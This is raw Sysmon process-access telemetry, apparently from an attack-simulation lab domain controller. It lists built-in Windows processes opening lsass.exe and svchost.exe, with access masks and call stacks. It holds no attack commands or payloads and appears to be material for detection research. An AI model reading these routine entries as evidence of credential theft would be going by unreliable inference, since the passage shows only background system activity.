09:09:19.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000903Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000902Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.419{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000901Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000900Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000899Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000898Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1700-000000007F01}1856C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6a63|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000897Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000896Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000895Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000894Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000893Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000892Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000891Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.403{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000890Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BD-5F80-0A00-000000007F01}8521364C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1700-000000007F01}1856C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000889Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1700-000000007F01}1856C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000888Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000887Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000886Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000885Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1700-000000007F01}1856C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000884Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BD-5F80-0A00-000000007F01}8521620C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1700-000000007F01}1856C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+20a11|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000883Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000882Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000881Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000880Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.388{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000879Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 